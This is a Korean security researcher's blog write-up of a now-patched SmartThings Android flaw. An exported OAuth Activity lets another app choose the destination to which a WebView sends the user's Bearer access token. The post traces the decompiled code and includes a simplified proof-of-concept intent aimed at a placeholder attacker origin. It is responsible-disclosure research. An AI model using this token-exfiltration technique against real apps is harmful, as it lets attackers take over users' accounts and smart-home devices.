목차
- 목차
- 근황 (Recent Update)
- 분석 계기 (Motivation)
- 원인 분석 (Root Cause Analysis)
- 1. 외부에 노출된 OAuth Activity
- 2. intent.data는 검증 없이 ViewModel로 전달된다
- 3. 실제로 확인하는 것은 redirect_uri의 존재 여부뿐이다
- 4. 토큰은 :Core 프로세스에서 가져온다
- 5. 외부 URI가 tokenAuth 요청의 목적지를 정한다
- 6. WebView는 access token을 Authorization 헤더에 담아 보낸다
- 검증 (Proof of Concept)
- 파급력 (Impact)
- 경험 (Disclosure Experience)
- 글을 마치며 (Closing Thoughts)
- 참고 자료

오랜만에 글을 남긴다.
이번엔 근황과 더불어, 내가 삼성에 제보해 2026년 8월에 공개된 SVE-2026-2076(CVE-2026-21084)의 분석을 정리해 봤다.
삼성은 이 취약점을 SmartThings의 improper access control 문제로 보고 High 등급으로 분류했다. 분석에는 1.8.45.24를 사용했고, 해당 버전에서 취약점을 재현했다. 이 취약점은 1.8.47.24에서 패치됐다. 자세한 내용은 Samsung Mobile Security의 2026년 8월 Android Applications Updates에서 확인할 수 있다.
목차
본문은 아래 순서로 이어진다.
- 근황 (Recent Update)
- 분석 계기 (Motivation)
- 원인 분석 (Root Cause Analysis)
- 검증 (Proof of Concept)
- 파급력 (Impact)
- 경험 (Disclosure Experience)
- 글을 마치며 (Closing Thoughts)
근황 (Recent Update)
앞서 '에픽 퓨리 작전'을 분석하며 현대전에서 사이버 영역이 어떻게 작동하는지 다뤘을 때만 해도, 나는 컨설팅사업본부 레드팀 소속이었다. 레드티머로서 여러 침투 프로젝트를 경험했고, 프로젝트를 거듭할수록 내가 정말 하고 싶은 일이 취약점 연구라는 것을 깨달았다. 침투도 물론 재미있지만, 경험상 하나의 타깃을 오래 붙들고 끝까지 파고들어 그 원인을 밝혀내는 연구는 훨씬 재미있었다.
나는 해당 고민을 회사와 나눴고, 이번에 모바일연구팀으로 자리를 옮기게 됐다. 내 적성을 믿고 더 잘 맞는 환경을 마련해 준 스틸리언에 감사한 마음이다.
분석 계기 (Motivation)
시작은 단순한 호기심이었다.
메이저 벤더의 제품에서 직접 취약점을 찾아 제보해 보고 싶었다.
대상을 고민한 끝에 대한민국을 대표하는 기업 중 하나인 삼성을 골랐다. 삼성 모바일 앱 목록을 훑어보던 중 예전에 SmartThings를 써 봤던 기억이 떠올랐고, 첫 분석 대상은 자연스럽게 SmartThings로 정해졌다.
원인 분석 (Root Cause Analysis)
분석 환경에 대한 정보는 공개하지 않으며, 취약점이 어디서 시작돼 어떤 흐름으로 이어졌는지 코드를 따라가며 살펴보겠다.
1. 외부에 노출된 OAuth Activity
AndroidManifest.xml에서 외부에 노출된 컴포넌트를 하나씩 살펴보던 중, 다음 Activity가 눈에 들어왔다.
<!-- AndroidManifest.xml:4387-4404 -->
<activity
android:theme="@style/OneAppUiTheme"
android:name="com.samsung.android.oneconnect.c2c.onboarding.oauthin.partner.OauthInActivity"
android:exported="true"
android:launchMode="singleTask"
android:configChanges="smallestScreenSize|uiMode|screenLayout|navigation|keyboardHidden|keyboard"
android:windowSoftInputMode="adjustResize"
android:noHistory="true"
android:hardwareAccelerated="true">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https"/>
<data android:host="api.smartthings.com"/>
<data android:pathPattern="/oauth/authorize"/>
</intent-filter>
</activity>OauthInActivity에는 android:exported="true"가 선언돼 있었지만, Activity 자체의 android:permission과 application의 기본 permission은 모두 적용돼 있지 않았다. 즉, 플랫폼이 명시적 Intent 전달을 허용하는 환경이라면 기기에 설치된 다른 앱이 별도 권한 없이 이 컴포넌트를 직접 지정할 수 있는 구조였다.
정상적인 암시적 App Link 라우팅은 https://api.smartthings.com/oauth/authorize로 제한되지만, 그렇다고 이 필터가 런타임에 들어오는 입력까지 검증해 주는 것은 아니다. Android의 Intent 공식 문서가 설명하듯 Intent filter는 주로 암시적 Intent의 라우팅 규칙일 뿐, exported Activity가 전달받은 URI를 그대로 신뢰해도 된다는 뜻은 아니기 때문이다.
여기서 BROWSABLE만 보면 모든 환경에서 브라우저를 한 번 클릭하는 것만으로 공격이 가능하다고 생각하기 쉽다. 그러나 브라우저 정책과 App Link 검증 상태, Android 버전에 따라 전달 조건이 달라지므로 이를 모든 환경에 그대로 적용하기는 어렵다. 그래서 이 글에서는 악성 APK의 명시적 Intent 경로를 기준으로 시나리오를 만들었다.

2. intent.data는 검증 없이 ViewModel로 전달된다
그렇다면 Activity에 도착한 URI는 어디로 갈까. OauthInActivity.onCreate()를 보면 WebView와 상태 수집기를 초기화한 뒤, getIntent().getData()를 ViewModel의 f0()에 그대로 넘긴다.
// OauthInActivity.java:61-82, 일부 생략
public final void onCreate(Bundle bundle) {
super.onCreate(bundle);
if (this.shouldFinish) {
return;
}
// ... layout 초기화 생략 ...
WebView webView = (WebView) aVar.d;
webView.setWebViewClient(
new com.samsung.android.oneconnect.c2c.onboarding.oauthin.partner.a(this, 0)
);
webView.getSettings().setJavaScriptEnabled(true);
// ... StateFlow collector 등록 생략 ...
((com.samsung.android.oneconnect.c2c.onboarding.oauthin.partner.viewmodel.a)
viewModelLazy.getValue()).f0(getIntent().getData());
}외부 입력은 getIntent().getData()에서 시작되는데, 이 값이 ViewModel로 넘어가기 전 scheme, host, port, path를 확인하는 코드는 보이지 않았다.
3. 실제로 확인하는 것은 redirect_uri의 존재 여부뿐이다
이제 ViewModel이 URI를 어떻게 처리하는지 살펴보면, 난독화된 f0(Uri)는 다음과 같이 동작한다.
// partner/viewmodel/a.java:127-136
public final void f0(Uri uri) {
e eVar = this.d;
if (uri == null) {
eVar.e(b.C0181a.f7845a);
} else if (uri.getQueryParameter(
Constants.ThirdParty.Request.REDIRECT_URI) == null) {
eVar.e(b.C0181a.f7845a);
} else {
this.f7844i = new qn.a(uri);
SingleUtil.subscribeBy$default(
SingleUtil.ioToMain(this.f7841a.c(false), this.f7842c),
new OauthInViewModel$getAccessToken$1(this),
null,
2,
null
);
}
}코드를 보면 f0(Uri)가 거부하는 입력은 URI가 null이거나 redirect_uri 파라미터가 아예 없는 경우뿐이었다. redirect_uri의 값이 비어 있는지, scheme과 authority, path가 무엇인지, client_id가 있는지는 따로 확인하지 않으며, redirect_uri가 존재하기만 하면 내부 인증 계층에 access token을 요청하는 authTokenManager.c(false)를 실행한다.
분석 초반에는 client_id도 공격에 필요한 조건이라고 생각했다. 하지만 호출 흐름을 끝까지 따라가 보니 토큰을 얻고 최초 WebView 요청을 보내기 전에는 client_id를 확인하지 않았고, 유효한 client_id가 정상 OAuth 절차를 계속 진행할 때 필요할 수는 있어도 적어도 이 취약한 데이터 흐름을 시작시키는 관문은 아니었다.
4. 토큰은 :Core 프로세스에서 가져온다
다음으로 궁금했던 것은 authTokenManager.c(false)가 실제로 어디에서 어떤 값을 가져오는지였다. 호출 경로를 더 따라가며 디컴파일 결과를 확인해 보니, OauthInActivity는 MAIN_UI 프로세스에서 실행되고 non-core token provider는 Binder를 통해 :Core 프로세스의 QcService에 access token을 요청하도록 구성돼 있었다.

non-core provider는 토큰 조회 작업을 만들면서 설정 값으로 null을 넘긴다.
// authenticator/n.java:17-25
@Override
public final Single a() {
return this.f6324a.f(new l(null, 0));
}l.java는 앞서 받은 null을 stringifiedConfigParameters로 넘기고, Binder callback은 전달받은 accessToken.f42671a를 성공 결과로 감싼다. 아래에는 wrapper와 취소 처리 부분을 덜어 낸 코드만 옮겼다.
// authenticator/l.java:43-68
String stringifiedConfigParameters = this.b;
ITokenListener.Stub callback = new ITokenListener.Stub() {
@Override
public final void onSuccess(ll.a accessToken) {
emitter.onSuccess(
new b(StringUtil.orNullIfBlank(accessToken.f42671a))
);
}
};
service.retrieveAccessToken(stringifiedConfigParameters, callback);결국 callback으로 들어오는 값은 외부 URI가 제공한 문자열이 아니라 SmartThings 내부 인증 관리 계층이 반환한 access token이었다. 다만 이 과정이 성립하려면 사용자가 로그인돼 있어야 하고, 토큰 반환 정책도 통과해야 한다.
5. 외부 URI가 tokenAuth 요청의 목적지를 정한다
토큰을 가져온 다음에는 어디로 보내는지를 봐야 한다. 조회에 성공하면 OauthInViewModel$getAccessToken$1이 호출되는데, 이 클래스는 원본 URI의 scheme과 authority를 새로운 Uri.Builder에 그대로 복사한 뒤 path만 auth/tokenAuth로 바꾼다.
// OauthInViewModel$getAccessToken$1.java:58-80, 의미 복원 발췌
Uri uri = aVar4.f46789a;
Uri.Builder builderPath = new Uri.Builder()
.scheme(uri.getScheme())
.authority(uri.getAuthority())
.path("auth/tokenAuth");
Uri uri2 = Uri.parse(aVar2.f46253a.getOauthInUrl());
Uri.Builder builderPath2 = new Uri.Builder()
.scheme(uri2.getScheme())
.authority(uri2.getAuthority())
.path(uri.getPath());
// 실제 코드에는 scope 전용 decode 및 공백→'+' 변환 분기가 있다.
for (String name : uri.getQueryParameterNames()) {
String value = uri.getQueryParameter(name);
builderPath2.appendQueryParameter(name, value);
}
String redirect = builderPath2.build().toString();
String tokenAuthUrl = builderPath
.appendQueryParameter("redirect", URLDecoder.decode(redirect, "UTF-8"))
.build()
.toString();이 코드에는 얼핏 비슷해 보이지만 쓰임은 서로 다른 두 개의 URL이 등장한다.
- 바깥쪽
tokenAuthUrl의 origin은 외부 입력인uri.getScheme()과uri.getAuthority()로 결정된다. redirect파라미터 안쪽 URL의 origin은 내부 설정인getOauthInUrl()에서 가져온다.
안쪽 redirect는 신뢰할 수 있는 SmartThings 설정으로 만들어지지만, WebView가 가장 먼저 접속하는 대상은 이 redirect가 아니다. 처음 접속하는 주소는 외부 입력으로 만든 바깥쪽 tokenAuthUrl이다.

6. WebView는 access token을 Authorization 헤더에 담아 보낸다
마지막 단계에서 앞서 살펴본 두 흐름이 하나로 합쳐진다. ViewModel이 URL과 access token을 담은 상태를 내보내면 Activity의 collector가 두 값을 꺼내 WebView.loadUrl()로 넘긴다.
// OauthInActivity$setUpViewModel$1$3.java:52-68, 실제 코드 축약
com.samsung.android.oneconnect.c2c.onboarding.oauthin.partner.viewmodel.b bVar =
(com.samsung.android.oneconnect.c2c.onboarding.oauthin.partner.viewmodel.b) cVar;
String str = bVar.f7848a; // tokenAuth URL
String str2 = bVar.b; // access token
((WebView) aVar2.d).loadUrl(
str,
r0.b(new Pair(
"Authorization",
i.a.h("Bearer ", str2)
))
);WebView.loadUrl(String, Map<String, String>)는 첫 번째 인자로 받은 URL을 두 번째 인자에 담긴 추가 HTTP 헤더와 함께 로드한다. 앞 단계에서 공격자가 URL의 origin을 결정한 데 이어, 이 단계에서는 앱 내부 access token이 Authorization: Bearer <access token> 형태의 헤더에 담기는 셈이다.
따라서 공격자 서버는 WebView가 보낸 최초 요청에서 곧바로 이 헤더를 받으며, 공격자 페이지가 JavaScript로 헤더를 읽거나 CORS를 우회할 필요도 없다.

코드를 여기까지 따라오니 원인이 선명해졌다. 자격 증명은 신뢰할 수 있는 내부 영역에서 가져오면서도, 그 값을 보낼 목적지는 신뢰할 수 없는 외부 입력에 맡기는 구조였다. 결국 전형적인 confused deputy 형태의 신뢰 경계 위반이었다.
검증 (Proof of Concept)
정적 분석으로 데이터 흐름을 확인한 다음, Activity를 직접 호출해 네트워크 요청을 관찰했다. 재현에는 전용 테스트 계정과 수신 테스트 서버만 사용했다.
아래 코드는 검증용 APK의 핵심 흐름을 공개본에 맞게 단순화했다. 실제 수신 도메인과 부가 파라미터는 제거했다.
// 재현용 PoC의 핵심 로직 — 공개용 의사코드
val target = ComponentName(
"com.samsung.android.oneconnect",
"com.samsung.android.oneconnect.c2c.onboarding.oauthin.partner.OauthInActivity"
)
val proofIntent = Intent(Intent.ACTION_VIEW).apply {
component = target
addCategory(Intent.CATEGORY_DEFAULT)
addCategory(Intent.CATEGORY_BROWSABLE)
// 실제 수신 호스트와 파라미터 값은 공개본에서 제거했다.
data = buildControlledResearchUri(
origin = "<https://researcher-controlled.invalid>",
requiredParameter = "redirect_uri"
)
}
startActivity(proofIntent)호출 후 수신 테스트 서버의 /auth/tokenAuth 경로에서 Authorization 헤더를 확인했다.

서버 로그에서 외부 origin으로 Bearer token이 전달된 사실을 확인했다. 이어서 그 token이 실제 SmartThings API에서도 유효한지 최소한으로 검증했다. 테스트 계정에 연결된 장치 목록만 보기 위해 GET <https://api.smartthings.com/v1/devices를> 한 차례 호출했다.

API가 정상 응답을 반환했고, 이로써 수신한 토큰이 유효하다는 것을 확인했다.

파급력 (Impact)
SmartThings 공식 문서에 따르면 /v1/devices는 해당 access token의 허용 범위 안에 있는 장치 목록을 반환한다. 응답에는 장치 이름과 label, deviceId, locationId, 제조사·모델 정보 등이 포함될 수 있다. 자세한 요청 형식과 데이터 구조는 SmartThings의 Query and List Devices 문서에서 확인할 수 있다.
검증으로 직접 확인한 영향은 두 가지였다.
- 외부 origin의 서버가 SmartThings 앱 내부 access token을 수신할 수 있었다.
- 수신한 access token으로 테스트 계정의 허용 범위에 포함된 장치 메타데이터를 조회할 수 있었다.
직접 확인한 범위는 여기까지였지만, 토큰의 권한에 따라 영향은 더 커질 수 있다. SmartThings의 Control Devices 문서에 따르면 /v1/devices/{deviceId}/commands API를 통해 장치에 명령을 전달할 수 있고, 이 기능에는 조회 권한과 별개인 x:devices 실행 권한이 필요하다. 즉, 유출된 access token에 해당 권한이 포함돼 있다면 지원되는 장치에 전원 켜기·끄기와 같은 제어 명령을 보내는 데까지 이어질 수 있다.
삼성은 이 취약점을 SmartThings의 improper access control로 인해 로컬 공격자가 민감정보에 접근할 수 있는 문제로 분류하고 High 등급을 부여했다.
경험 (Disclosure Experience)
2026년 4월 27일 취약점을 처음 제보했는데 약 2주 뒤 승인을 받았고 수정과 공개 절차를 거쳐 2026년 8월 4일 SVE-2026-2076(CVE-2026-21084)으로 공개됐다.

글을 쓰는 현재 보상 절차도 마무리 단계다. 메이저 벤더마다 과정은 다르겠지만 이번 제보는 영향 검증부터 패치 조율, 행정 절차까지 거치면서 예상보다 긴 시간이 필요했고, 공지에서 SeungYong Lee of STEALIEN을 확인했을 때야 하나의 연구가 끝났다는 실감이 났다.
제보는 취약점을 찾는 데서 끝나지 않았다. 재현 조건을 줄여 벤더가 같은 결과를 볼 수 있게 만들어야 하기 때문이다. 영향 범위를 과장 없이 정리하고 증거를 전달하는 일까지 모두 제보 과정의 일부였다. 분석만 잘하면 된다고 생각했는데 막상 끝까지 가 보니 커뮤니케이션과 기다림도 그만큼 중요했다고 느꼈다.
글을 마치며 (Closing Thoughts)
이번 연구에서는 AI를 적극적으로 활용했다. 취약점 후보 탐색, 재현용 코드 작성, 반복 작업에서 도움을 받았다. 후보를 실제 취약점으로 좁히고 증명하는 과정은 직접 진행했다.
AI가 발전하면서 취약점 후보를 찾고 최종적으로 익스플로잇에 도달하는 진입 장벽이 낮아졌음을 이번 경험을 통해 확실히 느꼈다. 앞으로 연구자의 역할은 AI가 선별한 후보를 검증하는 쪽으로 기울 것이라 생각한다. AI가 내놓은 여러 후보 가운데 실제로 보안 경계를 넘는 지점을 골라 코드를 끝까지 추적하고 증거로 만들려면, 적어도 아직까지는 사람의 판단이 필요했음을 느꼈기 때문이다.
마침 이 글을 쓰는 동안 OpenAI가 GPT-6 Astra를 공개했다. 공식 문서는 이 모델을 복잡한 추론과 코딩, 연구 작업을 위한 모델로 소개한다. 얼마나 성능이 개선됐을지 궁금하다. 실제로 지난 몇 년간 AI 모델이 한 세대씩 바뀔 때마다 성능이 좋아졌고 새로운 개념도 함께 등장했다. 그때마다 내가 연구하는 방식도 조금씩 달라졌다.
AI가 발전할수록 새로운 정보와 기술이 빠르게 만들어지는 것도 한몫했을 거지만, 핵심은 AI가 새로운 지적 데이터를 학습하며 더 나은 사고와 추론을 하도록 ‘진화’해 왔기 때문이 아닐까 생각한다.
현재 AI는 정보 생산에 드는 지적 노동을 줄여 주는 도구로 많이 활용되고 있고 그만큼 정보가 만들어지는 속도도 걷잡을 수 없이 빨라졌다.
그래서 나는 5분 동안 전 세계에서 AI가 생성하는 정보량이 세계에서 가장 많은 지식과 정보를 가진 한 사람이 아는 것보다 많지 않을까 하는 재미있는 생각도 해 봤다.
더 나아가 이렇게 생산된 정보를 어느 정도 신뢰할 수 있는지 판단하는 검증자의 역할이 앞으로 더 중요해질 것이라 생각한다.
앞서 연구자의 역할이 점차 검증자에 가까워질 것이라고 말했다.
다시 생각해 봐도 정말 그렇게 될 것 같다.
그렇다면 좋은 검증자가 되려면 어떤 노력이 필요할까. AI를 대할 때 모든 결과를 그대로 받아들이기보다 비판적으로 살펴보고, 그럴듯한 거짓 정보를 구별하는 힘을 길러야 한다고 생각한다. AI는 정답뿐 아니라 그럴듯한 오답도 확신 있게 내놓기 때문이다. 이른바 AI 환각이다. 그런 오답을 곧이곧대로 믿으면 오히려 더 먼 길을 돌아갈 수 있다는 점을 항상 기억해야 한다.
마지막으로 ‘비판’만 떼어 놓으면 부정적으로 들릴 수 있다고 생각한다. 하지만 ‘사고’와 결합한 비판적 사고는 조금 다르다. 대상을 정밀하게 살펴본 뒤 이해한 내용을 다시 의심하며 그 안의 모순을 찾아내는 태도다. 무조건 비판하자는 말이 아니다. 개념을 정확히 이해하고, 그 안에서 모순을 찾아 개선하는 힘을 기르자는 뜻이다.
앞으로 그 힘의 중요성이 더욱 부각되지 않을까 싶다.
당분간 나는 아래 세 가지를 잊지 않는 마음으로 AI 시대에 적응하고자 한다.
사고를 외주화하는 데 익숙해지지 말 것.본질을 꿰뚫는 비판적 사고력을 기를 것.
AI를 활용한 효율적인 취약점 연구의 절차를 고민할 것.
참고 자료
- Samsung Mobile Security: 2026년 8월 Android Applications Updates
- Android Developers: Intents and intent filters
- Android Developers: WebView.loadUrl(String, Map)
- SmartThings Developer: Query and List Devices
- SmartThings Developer: Control Devices
- SmartThings Developer: API Access App Setup
- OpenAI Developers: GPT-6 Astra


